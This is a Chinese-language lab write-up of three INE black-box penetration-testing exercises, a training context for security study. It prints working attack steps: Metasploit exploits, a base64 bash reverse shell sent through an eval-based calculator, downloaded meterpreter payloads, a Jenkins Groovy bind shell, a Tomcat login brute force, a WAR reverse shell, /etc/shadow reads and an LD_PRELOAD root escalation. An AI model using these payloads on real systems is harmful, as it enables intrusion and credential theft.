简介


官方网站:

https://my.ine.com/CyberSecurity/courses/6f986ca5/penetration-testing-basics

黑盒渗透测试1

启动实验室,然后对目标网站进行枚举

nmap -A -sS demo.ine.local

开放了80端口,我们去网站上看看

发现网站的框架为V-CMS V1.0

通过搜索,发现该版本存在任意上传漏洞

进入msf,搜索漏洞

使用第二个,设置参数

run

执行攻击,得到shell

发现当前权限为root,进入shell,发现这个机子还在另一个网段中,我们无法直接ping通


我们要执行路由转发,然后枚举那个网段的机子

使用“autoroute”命令将路由添加到无法访问的 IP 范围

run autoroute -s 192.241.145.0 -n 255.255.255.0

将路由添加到 IP 范围 192.241.145.0/24

返回到msf,检查是否添加成功

route print

路由添加成功。然后我们可以使用“route”命令将路由表添加到 metasploit 框架

route add 192.241.145.0  255.255.255.0 1

使用msf的tcp扫描模块

auxiliary/scanner/portscan/tcp

设置参数,然后执行扫描

use auxiliary/scanner/portscan/tcp
set PORTS 80, 8080, 445, 21, 22
set RHOSTS 192.241.145.0/24
exploit

然后我们发现了三台存活的主机

192.241.145.1只开放了22端口,猜测可能是网关,192.241.145.2这个机子开发了80端口,是刚刚我们用vcms渗透的机子,未知的只有192.241.145.3这台机子,开发了21端口

在meterpreter 会话中有一个实用程序“portfwd”,它可以将远程机器端口转发到本地机器端口

回到刚刚拿下权限的那台机子

session -i 1

将远程端口转发到本地端口

portfwd add -l 1234 -p 21 -r 192.241.145.3
portfwd list


我们已经成功转发了端口。现在,使用 Nmap 扫描本地1234端口

nmap -sS -sV -p 1234 localhost

发现服务的版本是2.0.8,还是vsftpd,可以知道存在笑脸漏洞

msf 搜索 vsftpd 漏洞利用模块

使用这个模块,设置参数后执行

set rhosts 192.241.145.3
run


成功拿到最高权

黑盒渗透测试2

启动实验室,然后对目标网站进行枚举

nmap -A -sS online-calc.com

目标靶机开放了80,5000,8000端口,我们访问80端口看看

什么都没有,枚举一下网站根目录看看

并没有什么有趣的目录,我们去访问5000端口看看

一个在线的计算器,枚举一下网站根目录

还是什么都没有

我们去访问一下8000端口

继续枚举网站根目录

发现了两个有趣的目录

/.git/
/console

暴露的.git目录中可能还有一些文件,继续枚举git目录

使用命令查看文件内容

curl http://online-calc.com:8000/.git/config

git 配置包含详细信息,包括名为Jeremy McCarthy的用户的凭据:
电子邮件:jeremy@dummycorp.com 用户名:jeremy 密码:diamonds
git 配置文件还包含远程源的 URL:
远程来源网址: http: //online-calc.com/projects/online-calc

发现了远程存储库的网址,接下来我们要利用远程存储库枚举更多信息

使用以下命令克隆远程存储库:

git clone http://online-calc.com/projects/online-calc

然后我们检查一下 git 日志

git log

此存储库中的代码存在 2 个问题:任意文件读取和远程代码执行,但这两个问题都在随后的修复中得到解决

使用以下命令列出修复任意文件读取漏洞时的提交与之前的提交之间的更改

git diff 9aa6151c1d5e92ae0bd3d8ad8789ae9bb2d29edd 17f5d49be5ae6f0bc41fc90f5aabeccc90f6e2cd

通过分析发现

该send_from_directory函数用于发送从Flask服务器的根目录请求的任何文件
如果请求的路径包含or,%2E,404,则返回响应

使用以下命令列出修复 RCE 漏洞时的提交与之前的提交之间的更改:

git diff 4bcfb590014321deb984237da2a319206975170f 9aa6151c1d5e92ae0bd3d8ad8789ae9bb2d29edd


通过分析可以知道

为了修复错误,在代码中添加了一个名为的evaluate函数,并且在函数中,isValid在将用户提供的数据传递给函数之前调用了该eval函数
用户输入中的字符在函数中被替换为"* 1.0 /"和evaluate

我们需要修改API.py中的代码,来重新利用这个远程代码执行漏洞

vim API.py

在最下面

现在在调用之前注释输入验证检查

eval

保存文件后退出

接下来我们要利用之前找到的信息将这些更改提交到存储库

git status
git add .
git commit -m "Bug Fix" --author "Jeremy McCarthy <jeremy@dummycorp.com>"

根据之前得到的账号密码来将这些更改推送到远程存储库

git push

我们查看一下是否更改成功

curl http://online-calc.com:8000/API.py

可以看到,我们修改成功了

现在就需要想办法得到shell了,通过之前的分析我们可以知道

为了修复错误,在代码中添加了一个名为的evaluate函数,并且在函数中,isValid在将用户提供的数据传递给函数之前调用了该eval函数
用户输入中的字符在函数中被替换为"* 1.0 /"和evaluate

所以我们需要用base64编码一下我们的payload

echo 'bash -c "bash -i >& /dev/tcp/192.196.85.2/4444 0>&1"' | base64

然后监听我们的本地4444端口

nc -lvp 4444

然后去到网址的5000端口,执行我们完整的payload

__import__("os").system("echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjguNTIuMi80NDQ0IDA+JjEi | base64 -d | bash")

现在将复制的有效负载粘贴到计算器 webapp 的文本框中,然后按下id

=


成功拿到最高权限,查看本机网络,发现还存在一个网段

接下来我们要使用msf进行路由转发来渗透另一个网段的机子,我们先生成一个meterpreter 的payload

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.28.52.2 LPORT=5555 -f elf > payload.bin
python3 -m http.server 80

然后去到拿到权限的机子下载这个文件

wget http://192.28.52.2/payload.bin
chmod +x payload.bin

回到kali,我们打开msf,设置监听

msfconsole -q
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.28.52.2
set LPORT 5555
run

去到靶机上,执行payload.bin



存在另一个网段,我们进行路由转发

bg
route add 192.218.55.0/24 1

使用socks_proxy模块将meterpreter会话转换为socks代理

use auxiliary/server/socks_proxy
set VERSION 4a
set SRVPORT 9050
run -j


socks 代理服务器(版本 4a)将在端口 9050 上启动。它将作为后台进程启动

使用 proxychains工具扫描另一个网段的主机,该工具将利用我们启动的代理服务器,探测存活主机后,发现192.218.55.3是另一个网段里唯一存活的主机

proxychains nmap -sT -P0 192.218.55.3

发现此主机开放了8080端口,我们打开火狐,设置一下网络代理

然后访问目标主机的8080端口

发现网站框架是jenkins,利用起来就简单了,因为这个框架可以直接执行脚本,我们去到脚本控制台

因为这是另一个网段的机子,不能直接回连shell,但我们可以让他监听5555端口,然后我们主动用nc去连接

payload:

int port=5555;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s = new java.net.ServerSocket(port).accept()
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

点击run

proxychains nc -v 192.218.55.3 5555

黑盒渗透测试3

这里给了三个网站

server1.ine.local
server2.ine.local
server3.ine.local

我猜测他们都相互有关联的,由于很简单,这里我就简单记录一下渗透的过程

首先用nmap枚举第一个网站

nmap -A -sS server1.ine.local

发现网站的框架是werkzeug 版本为0.9.6

使用searchsploit搜索一下框架的漏洞

searchsploit werkzeug

查看一下漏洞信息

cat /usr/share/exploitdb/exploits/python/remote/37814.rb

发现此版本可以利用,打开msfconsole

use exploit/multi/http/werkzeug_debug_rce
set RHOSTS server1.ine.local
set LHOST 192.220.184.2
run


成功的拿到了最高权限,我们查看一下靶机上存在的用户

cat /etc/shadow

目标计算机上共有七个用户

使用enum_users_history模块来查看用户的历史文件,此模块会收集用户特定信息,用户列表、bash 历史、mysql 历史、vim 历史、lastlog 和 sudoers

background
use post/linux/gather/enum_users_history
set SESSION 1
run

然后查看生成的文件

cd /root/.msf4/loot/
ls
cat [file]

这里发现了mysql的用户名和密码,我们开始枚举第二个服务器

nmap -A -sS server2.ine.local

发现开放的端口和ip都吻合历史文件的记录,我们登录mysql

然后查看mysql数据库的版本

select version();

通过google发现存在用户定义函数 (UDF)漏洞,打开msfconsole

use exploit/multi/mysql/mysql_udf_payload
set FORCE_UDF_UPLOAD true
set PASSWORD fArFLP29UySm4bZj
set RHOSTS server2.ine.local
set TARGET 1
set LHOST 192.220.184.2
run
session -i 1


成功拿到第二台机子的最高权限,查看flag

然后开始枚举第三个网站

nmap -A -sS server3.ine.local

机子开放了8080端口,框架为tomcat,然后枚举一下网站根目录

dirb http://server3.ine.local:8080

发现了一个有趣的目录,我们去浏览器上访问

他要求我们登录,我们暴力破解一下看行不行

打开msfconsole

use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS server3.ine.local
set VERBOSE false
run

成功爆破出密码,然后去登录

我们可以上传一个paylaod来获得目标靶机的shell

使用msfvenom生成payload

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.220.184.2 LPORT=443 -f war > shell.war

然后上传我们的payload


上传成功,然后本地监听一下端口

nc -vnlp 443

访问连接,成功得到shell
当前的 shell 不是标准 shell,因为它缺乏 TTY shell 提供的很多好处,如反向搜索、tab补全等。所以让我们使用 Python 升级当前的 shell 会话

python -c 'import pty;pty.spawn("/bin/bash");'

查看flag

然后我们查看靶机上存在的用户

发现只有一个用户

去到tomcat的配置文件目录下看看有没有其他文件

cd /con

发现有一个压缩包,我们解压一下这个压缩包

tar -xvf conf.tar.gz
ls

发现一个有趣的文件,我们去看看

文件配置里有robert的密码,我们登录试试

登录成功,查看flag

现在我们需要手动提权拿到root权限,sudo -l 看一下这个用户可以用sudo执行什么命令

这个用户可以用sudo命令执行ls命令

我们可以通过利用LD_PRELOAD环境变量,强制用ls命令加载一个自定义共享库,该库在目标机器上提供 shell 访问

创建一个文件,然后写入以下代码

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

上面的代码很简单。它将用户 ID 和组 ID 设置为 0,并生成一个 bash shell

然后编译这个文件为共享库

gcc -fPIC -shared -o shell.so 1.c -nostartfiles

然后执行

sudo LD_PRELOAD=/home/robert/shell.so ls

成功拿到root权限

查看flag

INE Penetration Testing Basics 黑盒渗透测试过程相关推荐

  1. Penetration Testing 渗透测试

    Author : ZwelL  Last Updated : 2007.12.16    零.前言  一.简介  二.制定实施方案  三.具体操作过程  四.生成报告  五.测试过程中的风险及规避  ...

  2. [ZZ]渗透测试(Penetration Testing)

    目录 Author : ZwelL Last Updated : 2007.12.16 零.前言 一.简介 二.制定实施方案 三.具体操作过程 四.生成报告 五.测试过程中的风险及规避 参考资料 FA ...

  3. 渗透测试(Penetration Testing)

    渗透测试(Penetration Testing) http://www.cnblogs.com/hyddd/archive/2009/03/22/1419104.html http://www.w3 ...

  4. 4月12日 | 【NDSS 2020】FUSE: Finding File Upload Bugs via Penetration Testing

    FUSE: Finding File Upload Bugs via Penetration Testing 作者 作者 来自于 方向 link 备注 Taekjin Lee 曾经实验室的毕业生 略 ...

  5. Penetration Testing ***测试

    目录 Author : ZwelL Last Updated : 2007.12.16 零.前言 一.简介 二.制定实施方案 三.具体操作过程 四.生成报告 五.测试过程中的风险及规避 参考资料 FA ...

  6. 渗透测试php过程,利用骑士cms的一次纠结的渗透测试过程(两个潜在

    今天下载了骑士cms的最新版本,由于好久以前一个哥们发了一个后台拿shell的漏洞,还有别人发的一个sql注入的漏洞,一个有意思的渗透测试过程就从这两个地方开始了,成功的拿下了某大型人才网站的服务器, ...

  7. 渗透分支写脚本_给小白的黑盒渗透测试作业——漏洞分析测试到安全加固建议...

    概述 2016.12.22收到关于海洋网站及内网的的渗透测试项目,并对海洋CMS进行黑盒渗透测试.本次渗透测试对存在的漏洞进行了仔细的分析和测试,以了解该站点和对应的内网的安全程度,同时给出相应的安全 ...

  8. kali linux revealed mastering the penetration testing distribution

    1.本博客记载的是这本书的学习笔记,还有出现的一些不懂的单词 我也将会记载这篇博客中.记载顺序是按照本书的章节顺序来记载的.最喜欢本书中的一句   you havae no idea how good ...

  9. 渗透测试的8个步骤 展现一次完整的渗透测试过程及思路

    渗透测试这个事情不是随便拿个工具就可以做了, 要了解业务还需要给出解决方案 .之前安全加介绍了金融行业 实战微信银行渗透测试, 运营商 渗透测试实战 ,今天让我们来说说 渗透测试 的流程及渗透测试相关 ...

最新文章

  1. 用74l138实现一个一位全减器_用pygame实现一个简单的五子棋游戏
  2. 女朋友羞辱我一线程序员35岁后没出路?该回二线发展!我没忍住,吼她两句!我错了吗?...
  3. oracle常用的监控,oracle常用的监控语句
  4. pythonfind_python实现find -name的功能
  5. EF中的那些批量操作
  6. arcgis api for javascript从地图如何读取要素
  7. linux云自动化运维基础知识23(DDNS服务配置)
  8. 如何在SAP gateway系统配置路由到后台系统的OData服务路径
  9. mysql varchar 非空判断_工资从1万到3万,你还差mysql数据库优化之系列三
  10. Git提交本地代码到GitHub
  11. 小型Web页打包优化(下)
  12. 使用Pixel Bender Toolkit制作特效——给过滤器增加参数(Part 3)
  13. GIS+区块链,地理空间数据新型应用场景未来可期
  14. NI视觉视觉软件简介
  15. YUV与RGB互转各种公式
  16. C#中常用对话框类详解
  17. KVM设备透传与重定向
  18. 今天买了正版的beyondcompare 4.0
  19. centos yum清华镜像
  20. 合天网安实验室CTF-Web100-Give Me Flag

热门文章

  1. 2021-10-18 Basler相机曝光值SDK的设置
  2. Kind Kubernetes | 通过 Helm 部署定制化 Prometheus-Operator 上传 Dockerhub?
  3. 模电(二十一)负反馈放大电路的稳定性及其他问题
  4. java dropdownlist_ASP动态DropDownList选择索引
  5. 软件测试_BadBoy自动化测试工具2_录制脚本
  6. Web APIs - 总结笔记
  7. 企业有必要申请3A信用评级吗?
  8. 数学建模美赛E、F题备考策略(自用,大部分复制粘贴)
  9. 解决Mybatis-plus IPage不生效
  10. 喜讯,绥宁又新投运一座220千伏变电站